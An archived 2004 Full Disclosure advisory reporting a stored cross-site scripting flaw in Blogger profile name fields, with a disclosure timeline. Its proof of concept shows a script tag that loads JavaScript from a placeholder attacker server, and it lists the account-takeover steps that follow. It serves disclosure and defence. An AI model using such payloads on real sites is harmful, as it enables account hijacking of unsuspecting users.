Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Blogger XSS Vulnerability
From: "Ferruh Mavituna" <ferruh () mavituna com>
Date: Fri, 26 Mar 2004 17:15:41 +0200

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------
BLOGGER XSS VULNERABILITY
- ------------------------------------------------------
Online URL : http://ferruh.mavituna.com/article/?470
Severity : Moderately Critical for Members (Permanent Account
Hijacking)

- ------------------------------------------------------
ABOUT BLOGGER;
- ------------------------------------------------------
Blogger is a web-based tool that helps you publish to the web
instantly -- whenever the urge strikes. Blogger is the leading tool
in the rapidly growing area of web publishing known as weblogs, or
"blogs."

by Google (Pyra Labs acquired by Google)

- ------------------------------------------------------
XSS DETAILS;
- ------------------------------------------------------
There is no HTML filter when rendering user profiles. So anyone can
inject a script into a profile's "First Name" "Last Name" etc.

If you inject a code into "First Name" this will be print and run in
users's first page [www.blogger.com], so an attacker can easily gain
victim's account.



        ------------------------------------------------------
        Proof Of Concept;
        ------------------------------------------------------
        Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to
victim "First Name"
        Now you can execute anything in remote.

        After login as your victim;
                  I. You can change password (without old password)
                 II. You can change e-mail address without any confirmation
                III. You can own the victim blogs

        
        *Replace ][,<>
        *Script injection is limited to 50 characters (but it's pretty
enough to add js script)


- -----------------------------------------------------
HISTORY;
- ------------------------------------------------------
Discovered : 2/22/2004
Vendor Informed : 2/25/2004
Published : 3/26/2004

- ------------------------------------------------------
VENDOR STATUS;
- ------------------------------------------------------
Contact established with Google but there is no answer.

Ferruh Mavituna
Web Application Security Specialist
http://ferruh.mavituna.com
ferruh () mavituna com

PGPKey : http://ferruh.mavituna.com/PGPKey.asc


-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQGRJDzL0QoVzo2STEQJmRwCgxUQ+ZG5yfajXvitVnJDhB9e5lY4AoNGB
ANN10x5LT+9GahY9KvS9PURv
=YmrO
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


  By Date           By Thread  

Current thread:
  • Blogger XSS Vulnerability Ferruh Mavituna (Mar 26)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]